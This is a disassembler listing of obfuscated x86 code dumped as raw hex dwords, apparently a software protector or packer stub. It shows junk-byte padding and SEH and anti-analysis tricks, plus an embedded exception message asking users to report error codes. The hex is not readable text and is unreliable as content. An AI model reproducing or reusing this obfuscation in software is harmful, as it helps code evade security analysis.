		dd 1B69BD8Bh, 8D5A0622h, 2503F685h, 0B5B53106h,	1062224h
		dd 220F8D85h, 0F8BA5006h, 6A634AB8h, 0F98D8B01h, 6A062233h
		dd 69950901h, 56062208h, 1055950Bh, 6A590622h, 0D58D8B01h
		dd 0B1062203h, 1FF6818h, 6A000Fh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 0C7C2D0C3h, 0E1816729h
		dd 3B98ADE6h
		dd 401BD83h, 0F000622h,	2184h, 858B6000h, 6220A19h, 8D61F88Bh
		dd 25027585h, 0F9BD8906h, 0E906221Bh, 12h, 1C99503h, 858D0622h
		dd 625024Bh, 13C18D8Bh,	66500622h, 0E950FE8Bh, 12h, 0FB2B2F81h
		dd 0F1E60084h, 449A3725h, 0E346642Eh, 0B5FF6EA8h, 6250218h
		dd 8E851h, 37400000h, 0A58143CFh, 0BF0FD949h, 0FF5F5ACEh
		dd 25020495h, 85B5B606h, 19850FC0h, 0E9000000h,	0Ch, 61A6991Bh
		dd 81FA897Dh, 2725613Eh, 59E9h,	0D18B6600h, 21C8589h, 8D290625h
		dd 622217Dh, 21CB5FFh, 6A0625h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 9C8E53C3h, 4B7EE35Ch
		dd 2C1D8D23h, 958B0622h, 62224B1h, 51995FFh, 8D290622h
		dd 62214BDh, 850FC085h,	2, 106A5BB1h, 0BA665753h, 5A5FDF45h
		dd 401BD83h, 0F000622h,	1784h, 958D8B00h, 8D06221Eh, 25027585h
		dd 0FE9F906h, 66000000h, 8381C181h, 24B858Dh, 0BA660625h
		dd 29506D41h, 221BD18Dh, 18B5FF06h, 8B062502h, 220F1D95h
		dd 1095FF06h, 8B062502h, 0FC085F8h, 2485h, 1E880F00h, 0E8000000h
		dd 12h,	0FFAD020Dh, 0D81B6857h,	5D1F0DA8h, 0DCCB883Bh
		dd 958B41B2h, 6221165h,	1C85895Ah, 81062502h, 70796CD9h
		dd 66006A17h, 0C754EF81h, 0B5FF006Ah, 625021Ch,	5958531h
		dd 95FF0622h, 6250208h,	0B8C0Fh, 89600000h, 22253D95h
		dd 7E38006h, 0FC08561h,	2285h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 8ADAA4B1h
		dd 0FF7E60EFh, 25021CB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6660CC27h
		dd 8BD74FBFh, 22104585h, 85016106h, 6220A55h, 51995FFh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 260829C3h, 671AD93Ch, 9589A814h, 6221865h
		dd 850FC085h, 24h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 26C35141h, 6925EB94h,	0CB8A078Dh, 6A006Ah
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 646F65C3h, 89F572B1h, 2205DD9Dh, 806806h, 89600000h
		dd 22316195h, 1086BF06h, 60613A6Fh, 7E9h, 66ACFA00h, 1F22F2B7h
		dd 12E9h, 4BAFCA00h, 0D14FD334h, 4DE6C418h, 0C1EB8036h
		dd 61544725h, 0F52036Ah, 81h, 6A5F00h, 1ADD958Bh, 6A0622h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0FCC35747h
		dd 6C524B0Dh, 68h, 0B59589C0h, 0FF06222Ah, 250294B5h, 0FEB70F06h
		dd 3E195FFh, 95890622h,	6222671h, 0FFFF883h, 4E885h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0FB8506D7h, 890F096Eh, 4, 637FBA66h,	0D0285FFh, 9D890625h
		dd 62207E1h, 0D02BD83h,	0F020625h, 31D84h, 0B1958900h
		dd 8D062204h, 5B243B85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 906DDC5Ch, 0B463A8FEh
		dd 0D0FF7CB6h, 27ED8D8Bh, 858D0622h, 5B1E8Eh, 7E9h, 0A0A62600h
		dd 9A9C0CB6h, 0F38AD0FFh, 0BD03C08Bh, 62229C1h,	8DDBD83h
		dd 75000622h, 21BD8309h, 6220Ah, 53501974h, 0D8B8C08Bh
		dd 89000007h, 221B3985h, 0C99D8D06h, 0FF0624BFh, 83585BD3h
		dd 220A21BDh, 17740006h, 0D8B85350h, 89000007h,	221B3985h
		dd 0B89D8D06h, 0FF0624BCh, 29585BD3h, 2214DDBDh, 81665006h
		dd 5FC2F3F2h, 68FCC08Bh, 0F003Fh, 0FE86053h, 84000000h
		dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 6158940Bh,	1D95035Fh
		dd 6A06222Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 89006A16h, 221E658Dh, 2595FF06h
		dd 89062220h, 2210E185h, 89C08506h, 25021885h, 65BD8B06h
		dd 68062235h, 0F01FFh, 339D9533h, 7E90622h, 1C000000h
		dd 0EBC065E1h, 0BD83BD81h, 6220401h, 1E840F00h,	0F000000h
		dd 858DD7B7h, 6250275h,	5736B966h, 18E9h, 68B0F00h, 0B000000h
		dd 2230D18Dh, 4B858D06h, 1062502h, 22300DBDh, 0FFFC5006h
		dd 250218B5h, 0FE906h, 0CBA0000h, 1AEE9CA0h, 32B532D6h
		dd 4BFA1BD2h, 1095FF91h, 8B062502h, 220115BDh, 1C858906h
		dd 9062502h, 2205CD8Dh,	585C706h, 6221Eh, 66000000h, 33ED981h
		dd 21CBD83h, 0F000625h,	15E84h,	4D958B00h, 8D062224h, 2504FA85h
		dd 0B5F18106h, 5011369Ah, 16ACB8Bh, 30E99523h, 0B5FF0622h
		dd 625021Ch, 21495FFh, 0EE80625h, 83000000h, 0C0B7EA3h
		dd 2F6391A3h, 634CD21Dh, 8D0B5338h, 6221255h, 0CB8B5959h
		dd 21CB5FFh, 8B660625h,	1995FFF9h, 0F062205h, 0FF68D0B7h
		dd 66000F01h, 75B8D981h, 9DD8D8Bh, 0BD830622h, 6220401h
		dd 39840F00h, 89000000h, 2226019Dh, 75858D06h, 66062502h
		dd 2EE9CB8Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 0A57C353h, 8D8B542Bh
		dd 6223141h, 24B858Dh, 0E9800625h, 6A503Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 8501DAC3h
		dd 6221CD1h, 0E65CCF81h, 0B5FF4A41h, 6250218h, 0D840Fh
		dd 29600000h, 2205B995h, 0EE816606h, 0FF61276Eh, 25021095h
		dd 49958B06h, 0F062216h, 68Ah, 0B9BD8900h, 89062200h, 25021C85h
		dd 658D2906h, 0FF06220Fh, 25021CB5h, 29958B06h,	0FF06221Fh
		dd 25020C95h, 0A5BD8B06h, 0FF062214h, 25021CB5h, 0FE95706h
		dd 24000000h, 5CB8DB5Ah, 3A63863Fh, 56FB4DBDh, 0FF5A5B22h
		dd 22051995h, 0E98D3306h, 0E9062215h, 0FFFFF828h, 20F1BD8Bh
		dd 0B5FF0622h, 6250D65h, 15C98589h, 95FF0622h, 6222065h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 3EC35141h
		dd 2568312Dh, 8B9C0588h, 221B518Dh, 75858B06h, 106220Ah
		dd 2207A99Dh, 0DE906h, 74440000h, 8B1270FDh, 0A2B0DCD1h
		dd 0E905C374h, 61Ch, 0DBD6B966h, 51AB58Dh, 958B0625h, 6221F0Dh
		dd 0B23F858Dh, 0CC8A0624h, 0BD89D0FFh, 62224ADh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 4D0A2C3h, 4BB6660h, 25B53352h, 61062222h, 1A995FFh
		dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 963FECC3h, 0F609625h, 8B0FDBBFh, 6, 0AA5958Bh
		dd 60610622h, 13E9h, 509EF500h,	4DA1EFF1h, 349003B7h, 0C49262C6h
		dd 43BC0F90h, 60F38B61h, 14E9h,	16EBCF00h, 0AB17D02Bh
		dd 3384FCD1h, 48D3DF9Dh, 0C0E5B6DBh, 8D61F86Bh,	24B23F85h
		dd 7E906h, 3BCD0000h, 2F1C3098h, 8BD0FFDCh, 221CA595h
		dd 13E806h, 7B2C0000h, 73F8D721h, 18FFC8AEh, 595365B2h
		dd 59694915h, 6A5A53h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 0A2C35242h, 0EB21C78Ah, 0EF819D10h, 3DAD2E48h
		dd 1A995FFh, 958B0622h,	6221615h
		dd 234678BFh, 81C08B2Ah, 995C8BE7h, 0DDBD830Dh,	62208h
		dd 0BD830975h, 6220A21h, 50197400h, 0B8C08B53h,	7D9h, 1B398589h
		dd 9D8D0622h, 624BFC9h,	585BD3FFh, 0A21BD83h, 74000622h
		dd 0B8535017h, 7D9h, 1B398589h,	9D8D0622h, 624BCB8h, 585BD3FFh
		dd 9E9h, 23E42F00h, 0B957863Bh,	6A5F6Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0A54B4EC3h
		dd 9352F03Bh, 0DA816635h, 0C08B9BB8h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 27C35747h, 68D9D29h, 66500622h
		dd 0D88BCB8Bh, 8D53F98Bh, 2218CD9Dh, 89038B06h,	50438B03h
		dd 8D504389h, 250CFE9Dh, 89038B06h, 6A5B03h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 99D4DC3h
		dd 2C9ED988h, 8AE2D7FBh, 0C88B66D7h, 9318D31h, 6A0622h
		dd 3738CA81h, 8B0F29D2h, 1, 0FE858DF9h,	6A06250Ch, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 4CDFC355h, 0E9B87E7Eh, 0B650FC74h, 0F606AC8h, 383h
		dd 0FEB70F00h, 18CD858Dh, 0C9BA0622h, 503F12E3h, 0F5BD8B60h
		dd 0E9062214h, 0Dh, 0D33A316Fh,	6357E075h, 0F05C5B15h
		dd 6A614Dh, 31998D89h, 95230622h, 6222AC9h, 68F5006Ah
		dd 1800h, 2FA58D8Bh, 60530622h,	0DE9h, 0BB844400h, 4D01BD26h
		dd 15F54F97h, 0EE9B01Dh, 0E7000000h, 9260734Ah,	52DE4ECAh
		dd 16AB2681h, 95FF61EBh, 6221321h, 14E8h, 547AA300h, 8F3E6714h
		dd 6FE39B2Bh, 9C90DB72h, 4330A5BEh, 45BD8B30h, 5F06220Fh
		dd 2FC595FFh, 0BD330622h, 6222021h, 0D65B5FFh, 800F0625h
		dd 3, 0FFCA8B66h, 22206595h, 8BBA6606h,	0CD858D07h, 0BF062218h
		dd 43E1D226h, 6A18408Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 21FDC353h, 816603C1h
		dd 0C7C12FCFh, 2215CD85h, 6, 0CF816600h, 0BD83CF45h, 6220401h
		dd 3E840F00h, 0E8000000h, 0Bh, 0F170D259h, 23D0170Fh, 0FE65B87h
		dd 681h, 8B0F00h, 59000000h, 28298D8Bh,	8C3D0622h, 0F000000h
		dd 17383h, 61958B00h, 0E906221Dh, 38h, 0B63BFCB9h, 983D01h
		dd 830F0000h, 158h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 31C35343h, 0D9AF48D7h, 958B31DBh, 622210Dh
		dd 243B858Dh, 0B966005Bh, 0D0FF7C17h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 0EBC35747h,	0CD28166h, 8E858D3Bh
		dd 6A005B1Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0D8CCC356h, 0D0FFD843h, 81D9D89h
		dd 0C08B0622h, 1880Fh, 83F50000h, 2208DDBDh, 9750006h
		dd 0A21BD83h, 74000622h, 8B535019h, 0BC6B8C0h, 85890000h
		dd 6221B39h, 0BFC99D8Dh, 0D3FF0624h, 0BD83585Bh, 6220A21h
		dd 50177400h, 0BC6B853h, 85890000h, 6221B39h, 0BCB89D8Dh
		dd 0D3FF0624h, 0EE80585Bh, 8E8ECh, 18DD0000h, 0ED122A00h
		dd 0E95A5827h, 11h, 994790ACh, 9A5412Ah, 81069BE0h, 94316192h
		dd 83C08BDCh, 850FFFF8h, 2Ch, 0A4DB589h, 85C70622h, 6221AA1h
		dd 0
		dd 27F5958Bh, 958B0622h, 622308Dh, 0CDE9h, 1BD8B00h, 0E906220Bh
		dd 19h,	0F01F883h, 1085h, 5870F00h, 66000000h, 67F2EF81h
		dd 113E9h, 0F2B6E900h, 9D89FFFFh, 62200EDh, 8D01C08Bh
		dd 6220329h, 68D0Fh, 8D890000h,	622019Dh, 8DDBD83h, 75000622h
		dd 21BD8309h, 6220Ah, 53501974h, 0DDB8C08Bh, 89000007h
		dd 221B3985h, 0C99D8D06h, 0FF0624BFh, 83585BD3h, 220A21BDh
		dd 17740006h, 0DDB85350h, 89000007h, 221B3985h,	0B89D8D06h
		dd 0FF0624BCh, 0B6585BD3h, 9CC9818Bh, 6A79CA86h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0F762C355h, 4DC37C37h, 64DE0831h, 0BD8BC08Bh, 6221A91h
		dd 22BE9h, 0D2816600h, 858DDA2Fh, 6250B02h, 0D18D3357h
		dd 59062234h, 0CFA8589h, 6A0625h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 747621C3h, 8D8BB877h
		dd 6220469h, 48E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 4F8A3AFEh, 0FCF2FD2Eh
		dd 2830Fh, 0E88A0000h, 90A858Dh, 0EF810625h, 733B339Eh
		dd 4890F40h, 66000000h,	89AC3EBFh, 250CFA85h, 8D346A06h
		dd 22273D85h, 0B5FF5006h, 6250CFAh, 95FF006Ah, 62206B9h
		dd 0F07F883h, 16884h, 0DB8C6600h, 0F04C3F6h, 10285h, 985C600h
		dd 56062233h, 0A8B85268h, 0A9B5FF9Ch, 8D062233h, 223AF185h
		dd 6AD0FF06h, 10006804h, 646A0000h, 0D0FF006Ah,	0D6D8589h
		dd 85C60625h, 6223309h,	0AC9B6847h, 0B5FFEC18h,	62233A9h
		dd 3AF1858Dh, 0D0FF0622h, 0F08BD0FFh, 330985C6h, 684F0622h
		dd 0C62F2661h, 1AC9B5FFh, 858D0622h, 6223AF1h, 9D8DD0FFh
		dd 6250D69h, 56286A53h,	0C085D0FFh, 85C60075h, 6223309h
		dd 64986841h, 0B5FFDB87h, 6221AC9h, 3AF1858Dh, 0D0FF0622h
		dd 0D868589h, 85C60625h, 6223309h, 0E7A4684Ch, 0B5FF80A4h
		dd 6221AC9h, 3AF1858Dh,	0D0FF0622h, 0D6D9D8Bh, 5B8D0625h
		dd 9D8D5304h, 6250D72h,	0FF006A53h, 6D9D8BD0h, 0C706250Dh
		dd 103h, 0C43C700h, 2, 5E59D8Bh, 85C70622h, 6222FA9h, 0
aJjj:
		unicode	0, <jjj>
		dw 9D8Bh
		dd 6250D6Dh, 0FF006A53h, 250D69B5h, 8695FF06h, 0C606250Dh
		dd 22330985h, 97684506h, 0FF92A5F7h, 220FC9B5h,	0F1858D06h
		dd 0FF06223Ah, 6A006AD0h, 66D0FF02h, 0C3F6DB8Ch, 8B327504h
		dd 250D6D9Dh, 0C43C706h, 0
		dd 6A006Ah, 0D6D9D8Bh, 6A530625h, 69B5FF00h, 0FF06250Dh
		dd 250D8695h, 69B5FF06h, 0FF06250Dh, 222FC595h,	0FF006A06h
		dd 2201A995h, 0ED8D2906h, 6606221Bh, 0BD2BD08Bh, 6222FB9h
		dd 3DF9858Dh, 6A0625h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 3FAA3C3h, 0FDF87125h, 8B4533ACh
		dd 12E9CAh, 0A8800000h,	0DEF8FC05h, 0E7183AD4h,	0AF7510D3h
		dd 0C93A870Ch, 0E9BA6650h, 35FF6461h, 0
		dd 2615BD89h, 89640622h, 25h, 818D8B00h, 8306220Ah, 221875BDh
		dd 840F0006h, 78h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 18h, 0DC35646h, 6A15B085h,	5E9h, 0E8935700h
		dd 0BD83FA16h, 62200F5h, 41850F01h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 9E4FC353h, 0BD80F8CAh, 6251186h, 15850F00h, 0F000000h
		dd 880h, 9D895700h, 62215A9h, 1A1E95Fh,	0F98B0000h, 0EE9DB33h
		dd 71000000h, 0C32E7DE4h, 8A5BBB87h, 0A202C086h, 0E9C0331Eh
		dd 12h,	3E187B25h, 0F566CA3Ah, 144EE076h, 0B2C684A1h, 0F40E873h
		dd 640B073Fh, 58Fh, 0C4830000h,	7D8D8B04h, 83062215h, 840FFFFBh
		dd 44h,	0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah
		dd 4C35242h, 3AABEAC5h,	0BA60AAB5h, 31E821C3h, 9E9h, 5EF2DB00h
		dd 6D0CFD98h, 0E961A3C0h, 10Dh,	0A304B966h, 5FD08B57h
		dd 7FE9h, 97BF6600h, 244C8B2Dh,	0A481C70Ch, 0FF000000h
		dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch
		dd 5D000000h, 3E1BED81h, 838B0625h, 0B8h, 3EFF858Dh, 83890625h
		dd 0B8h, 0C3C0335Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 2BC35747h, 559D89BFh,	0E9062211h, 12h
		dd 4CA6FA1Ch, 9DDF8717h, 5EBF86D3h, 0D7790643h,	0EB8A6DC0h
		dd 3E11858Dh, 830F0625h, 6, 2A59D89h, 0D7810622h, 2F4ED952h
		dd 35FF6450h, 0
		dd 3820Fh, 8B660000h, 0BE9FBh, 2CC60000h, 325CBDC3h, 0DD0B1593h
		dd 258964C0h, 0
		dd 14E9h, 0D8A59600h, 36DECA02h, 0AC908B13h, 2AF54234h
		dd 0C51D4835h, 0AB9E9h,	4B80000h, 54855D7h, 0DF78164h
		dd 85D465BBh, 0B640BA86h, 0EA810034h, 345FE8h, 68FB81EDh
		dd 75564D58h, 985C70Ah,	1062222h, 64000000h, 58Fh, 0C4830000h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0F36D514Ch, 0E9CD4543h, 14h, 0A387FB7Ch
		dd 0F103E622h, 0C593E2B8h, 6F4461CFh, 3036BD8Dh, 3079B529h
		dd 0C08B0622h, 0BD83F98Bh, 62208DDh, 83097500h,	220A21BDh
		dd 19740006h, 0C08B5350h, 43DB8h, 59858900h, 8D06220Eh
		dd 24C0309Dh, 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h
		dd 43DB8h, 59858900h, 8D06220Eh, 24BCD19Dh, 5BD3FF06h
		dd 0CA8B6658h, 7E2A79B9h, 0E9C08B0Ch, 147h, 4, 31392E31h
		dd 30h,	6 dup(0)
dword_52E810	dd 78450000h, 74706563h, 206E6F69h, 6F666E49h, 74616D72h
		dd 6E6F69h, 61656C50h, 202C6573h, 746E6F63h, 20746361h
		dd 20656874h, 74666F73h, 65726177h, 76656420h, 706F6C65h
		dd 20737265h, 68746977h, 65687420h, 6C6F6620h, 69776F6Ch
		dd 6320676Eh, 7365646Fh, 6854202Eh, 206B6E61h, 2E756F79h
		dd 0D0A0D0Ah, 2	dup(20202020h),	65727028h, 43207373h, 2B4C5254h
		dd 6E6F2043h, 69687420h, 69772073h, 776F646Eh, 206F7420h
		dd 79706F63h, 206F7420h, 70696C63h, 72616F62h, 20202964h
		dd 0D0A2020h, 65560D0Ah, 6F697372h, 3D20206Eh, 0A732520h
		dd 6568430Dh, 4E496B63h, 203D2020h, 0D0A6425h, 63656843h
		dd 54554F6Bh, 25203D20h, 500D0A64h, 49636F72h, 2020204Eh
		dd 6425203Dh, 72500D0Ah, 554F636Fh, 3D202054h, 0A642520h
		dd 6978450Dh, 204E4974h, 203D2020h, 0D0A6425h, 74697845h
		dd 2054554Fh, 25203D20h, 540D0A64h, 206E6950h, 20202020h
		dd 6425203Dh, 83000D0Ah, 220485BDh, 840F0006h, 12Dh, 0BAE8858Dh
		dd 8D500624h, 24BA5285h, 1685006h, 0FF800000h, 24BAF895h
		dd 0A8858D06h, 5006253Fh, 3FB2858Dh, 6A500625h,	8D006A00h
		dd 24BA6685h, 0B5FF5006h, 624BAE8h, 66995FFh, 858D0622h
		dd 6253FA8h, 0B6858D50h, 5006253Fh, 6A006Ah, 0BA78858Dh
		dd 0FF500624h, 24BAE8B5h, 6995FF06h, 8D062206h,	253FA885h
		dd 858D5006h, 6253FC2h,	6A006A50h, 0C5858D00h, 500624BAh
		dd 0BAE8B5FFh, 95FF0624h, 6220669h, 3FA8858Dh, 8D500625h
		dd 253FCA85h, 6A5006h, 858D006Ah, 624BAE3h, 0E8B5FF50h
		dd 0FF0624BAh, 22066995h, 0A8858D06h, 5006253Fh, 3FC6858Dh
		dd 6A500625h, 8D006A00h, 24BACC85h, 0B5FF5006h,	624BAE8h
		dd 66995FFh, 858D0622h,	6253FA8h, 0BA858D50h, 5006253Fh
		dd 6A006Ah, 0BAD4858Dh,	0FF500624h, 24BAE8B5h, 6995FF06h
		dd 8D062206h, 253FA885h, 858D5006h, 6253FBEh, 6A006A50h
		dd 0DB858D00h, 500624BAh, 0BAE8B5FFh, 95FF0624h, 6220669h
		dd 0BAE8B5FFh, 95FF0624h, 6220071h, 0A2E9h, 29BD8300h
		dd 62200h, 95840Fh, 0BD830000h,	62200F5h, 11850F00h, 8B000000h
		dd 2232C195h, 0F8C28106h, 0E900001Ch, 0Fh, 18CD958Dh, 528B0622h
		dd 40C28134h, 893BD4C3h, 22243995h, 39BD8306h, 62224h
		dd 55840Fh, 9D8B0000h, 6222439h, 8B4CC383h, 0B2858903h
		dd 8B06253Fh, 2224399Dh, 50C38306h, 8589038Bh, 6253FB6h
		dd 24399D8Bh, 0C3830622h, 89038B54h, 253FC285h,	399D8B06h
		dd 83062224h, 38B58C3h,	3FC68589h, 9D8B0625h, 6222439h
		dd 8B5CC383h, 0BA858903h, 8306253Fh, 220485BDh,	850F0006h
		dd 0Dh,	29BD83h, 0F000622h, 6884h, 0CAB5FF00h, 0FF06253Fh
		dd 253FBEB5h, 0BAB5FF06h, 0FF06253Fh, 253FC6B5h, 0C2B5FF06h
		dd 0FF06253Fh, 253FB6B5h, 0B2B5FF06h, 8D06253Fh, 253FAC85h
		dd 858D5006h, 6253FE4h,	9D858D50h, 5006222Dh, 70195FFh
		dd 0C4830622h, 8D406A24h, 253FCE85h, 858D5006h,	6222D9Dh
		dd 0FF006A50h, 2206B995h, 0FF016A06h, 2201A995h, 0E8C18B06h
		dd 0Dh,	3EE8EB19h, 66915C0Ah, 0B3A9D802h, 9E966h, 2F2D0000h
		dd 8B68E787h, 5B440D97h, 0CC381F8h, 0F00005Fh, 383h, 0B3F48000h
		dd 1795B9h, 2840F00h, 8B000000h, 0B433FFFBh, 6E85A88h
		dd 0B3000000h, 5173716Eh, 0BF0F514Ah, 81585FF9h, 2957D4F2h
		dd 5E93Bh, 0B8F40000h, 81BA858Fh, 0B7BF8AF2h, 0C88B603Bh
		dd 61E3DC80h, 4ED9C281h, 8B664327h, 0BF1389F3h,	0DE27832h
		dd 0D282EB81h, 860F53A5h, 1, 7EC381FCh,	8053A5D2h, 0F4924D4h
		dd 1485h, 0F7BF0F00h, 1BE9h, 408BE300h,	0DDAA044Fh, 0B9A40EA9h
		dd 0F28B666Dh, 0FFFF84E9h, 688662FFh, 11B8D620h, 0F31718EBh
		dd 9B46h, 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6254439h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 71B58BFFh, 81062544h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 75B53B00h, 0F062544h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2439858Bh, 18860622h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 5195FF08h, 50062225h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2439858Bh, 0C60622h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6222439h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 62229B9h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 0B985C700h, 62229h
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 1685C700h
		dd 1062544h, 50000000h,	244C010Fh, 1A858FFEh, 8D062544h
		dd 25441285h, 1ABD8D06h, 89062544h, 23E938h, 858D0000h
		dd 62218CDh, 538408Bh, 9B46F317h, 44128589h, 858D0625h
		dd 62218CDh, 893C408Bh,	25441685h, 2F858D06h, 89062544h
		dd 22255185h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0A2858D00h, 89062546h, 22163585h, 0CA858D06h, 89062546h
		dd 220FF985h, 0F2858D06h, 89062546h, 2202B185h,	0EE86006h
		dd 0A000000h, 879237ADh, 0FF9A6890h, 0D134913Ah, 0D8B96637h
		dd 0C08B59C3h, 0DDBD83F8h, 62208h, 0BD830975h, 6220A21h
		dd 50197400h, 0B8C08B53h, 40Eh,	1B398589h, 9D8D0622h, 624BFC9h
		dd 585BD3FFh, 0A21BD83h, 74000622h, 0B8535017h,	40Eh, 1B398589h
		dd 9D8D0622h, 624BCB8h,	585BD3FFh, 0EE8D58Ah, 0F4000000h
		dd 0D422B9A3h, 7EDE82EEh, 6939EB18h, 68F0F69h, 0F000000h
		dd 88h,	0C08B5A00h, 83F1B70Fh, 221875BDh, 840F0006h, 5Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 86C35545h
		dd 2F6398Eh, 0CA8123C8h, 60910987h, 254E9h, 13E95300h
		dd 0DB000000h, 4CD976FCh, 31D20030h, 0F284DDA7h, 2776EC1h
		dd 0E95E92FFh, 11h, 0DD71C78h, 0F4F37004h, 2B62C9EDh, 23E0C1ACh
		dd 60DF8C57h, 6661F08Bh, 4C7F7h, 213850Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 0F63173C3h, 8880F8Ah, 50000000h, 295EE981h, 835E2BE2h
		dd 220401BDh, 850F0006h, 3Bh, 0FAE98166h, 1CFE9C1h, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0E916E8C3h, 0Fh, 1FBB8B4Ch, 2FB26A7Bh, 40B8EF92h, 0BF329672h
		dd 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CBC35646h
		dd 4BB99AAAh, 0B70F8D4Eh, 219D8DF2h, 5006254Ah,	1C89EC8Ah
		dd 0FF64F924h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
